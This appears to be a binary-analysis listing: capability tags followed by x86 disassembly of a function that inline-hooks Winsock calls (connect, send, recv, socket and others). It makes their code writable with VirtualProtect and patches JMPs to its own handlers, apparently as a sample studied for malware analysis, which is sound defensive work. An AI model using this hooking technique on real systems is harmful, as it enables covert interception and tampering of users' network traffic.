Function at 0x1000a040
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.wsock32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.closesocket
push eax
call edi
mov dword [0x100113b4], eax
cmp byte [eax], 0xe9
je 0x1000a080
mov ecx, dword [eax]
cmp ecx, dword [0x1000e214]
jne 0x1000a07a
add eax, 4
cmp byte [eax], 0xec
je 0x1000a080
pop edi
xor eax, eax
pop esi
pop ecx
ret
push str.wsock32.dll
call esi
push str.connect
push eax
call edi
mov dword [0x100113b8], eax
cmp byte [eax], 0xe9
je 0x1000a0ab
mov edx, dword [eax]
cmp edx, dword [0x1000e214]
jne 0x1000a07a
add eax, 4
cmp byte [eax], 0xec
jne 0x1000a07a
push str.wsock32.dll
call esi
push str.recv
push eax
call edi
mov dword [0x100113c0], eax
cmp byte [eax], 0xe9
je 0x1000a0d6
mov ecx, dword [eax]
cmp ecx, dword [0x1000e214]
jne 0x1000a07a
add eax, 4
cmp byte [eax], 0xec
jne 0x1000a07a
push str.wsock32.dll
call esi
push str.recvfrom
push eax
call edi
mov dword [0x100113c4], eax
cmp byte [eax], 0xe9
je 0x1000a105
mov edx, dword [eax]
cmp edx, dword [0x1000e214]
jne 0x1000a07a
add eax, 4
cmp byte [eax], 0xec
jne 0x1000a07a
push str.wsock32.dll
call esi
push str.send
push eax
call edi
mov dword [0x100113d0], eax
cmp byte [eax], 0xe9
je 0x1000a138
mov ecx, dword [eax]
cmp ecx, dword [0x1000e214]
jne 0x1000a07a
add eax, 4
cmp byte [eax], 0xec
jne 0x1000a07a
push str.wsock32.dll
call esi
push str.sendto
push eax
call edi
mov dword [0x100113d4], eax
cmp byte [eax], 0xe9
je 0x1000a16b
mov edx, dword [eax]
cmp edx, dword [0x1000e214]
jne 0x1000a07a
add eax, 4
cmp byte [eax], 0xec
jne 0x1000a07a
push str.wsock32.dll
call esi
push str.socket
push eax
call edi
mov dword [0x100113e0], eax
cmp byte [eax], 0xe9
je 0x1000a19e
mov ecx, dword [eax]
cmp ecx, dword [0x1000e214]
jne 0x1000a07a
add eax, 4
cmp byte [eax], 0xec
jne 0x1000a07a
mov eax, dword [0x100113b4]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [esp + 8]
push edx
push 0x40
push 5
push eax
call esi
mov ecx, dword [0x100113b4]
mov byte [ecx], 0xe9
mov eax, dword [0x100113b4]
mov edx, 0x1000a680
sub edx, eax
sub edx, 5
mov dword [eax + 1], edx
mov ecx, dword [esp + 8]
mov edx, dword [0x100113b4]
lea eax, [esp + 8]
push eax
push ecx
push 5
push edx
call esi
mov ecx, dword [0x100113b8]
lea eax, [esp + 8]
push eax
push 0x40
push 5
push ecx
call esi
mov edx, dword [0x100113b8]
mov byte [edx], 0xe9
mov eax, dword [0x100113b8]
mov ecx, 0x1000a6d8
sub ecx, eax
sub ecx, 5
mov dword [eax + 1], ecx
mov eax, dword [esp + 8]
mov ecx, dword [0x100113b8]
lea edx, [esp + 8]
push edx
push eax
push 5
push ecx
call esi
mov eax, dword [0x100113c0]
lea edx, [esp + 8]
push edx
push 0x40
push 5
push eax
call esi
mov ecx, dword [0x100113c0]
mov byte [ecx], 0xe9
mov eax, dword [0x100113c0]
mov edx, 0x1000a79a
sub edx, eax
sub edx, 5
mov dword [eax + 1], edx
mov ecx, dword [esp + 8]
mov edx, dword [0x100113c0]
lea eax, [esp + 8]
push eax
push ecx
push 5
push edx
call esi
mov ecx, dword [0x100113c4]
lea eax, [esp + 8]
push eax
push 0x40
push 5
push ecx
call esi
mov edx, dword [0x100113c4]
mov byte [edx], 0xe9
mov eax, dword [0x100113c4]
mov ecx, 0x1000a7fb
sub ecx, eax
sub ecx, 5
mov dword [eax + 1], ecx
mov eax, dword [esp + 8]
mov ecx, dword [0x100113c4]
lea edx, [esp + 8]
push edx
push eax
push 5
push ecx
call esi
mov eax, dword [0x100113d0]
lea edx, [esp + 8]
push edx
push 0x40
push 5
push eax
call esi
mov ecx, dword [0x100113d0]
mov byte [ecx], 0xe9
mov eax, dword [0x100113d0]
mov edx, 0x1000a8c9
sub edx, eax
sub edx, 5
mov dword [eax + 1], edx
mov ecx, dword [esp + 8]
mov edx, dword [0x100113d0]
lea eax, [esp + 8]
push eax
push ecx
push 5
push edx
call esi
mov ecx, dword [0x100113d4]
lea eax, [esp + 8]
push eax
push 0x40
push 5
push ecx
call esi
mov edx, dword [0x100113d4]
mov byte [edx], 0xe9
mov eax, dword [0x100113d4]
mov ecx, 0x1000a92a
sub ecx, eax
sub ecx, 5
mov dword [eax + 1], ecx
mov eax, dword [esp + 8]
mov ecx, dword [0x100113d4]
lea edx, [esp + 8]
push edx
push eax
push 5
push ecx
call esi
mov eax, dword [0x100113e0]
lea edx, [esp + 8]
push edx
push 0x40
push 5
push eax
call esi
mov ecx, dword [0x100113e0]
mov byte [ecx], 0xe9
mov eax, dword [0x100113e0]
mov edx, 0x1000a991
sub edx, eax
sub edx, 5
mov dword [eax + 1], edx
mov ecx, dword [esp + 8]
mov edx, dword [0x100113e0]
lea eax, [esp + 8]
push eax
push ecx
push 5
push edx
call esi
pop edi
mov eax, 1
pop esi
pop ecx
ret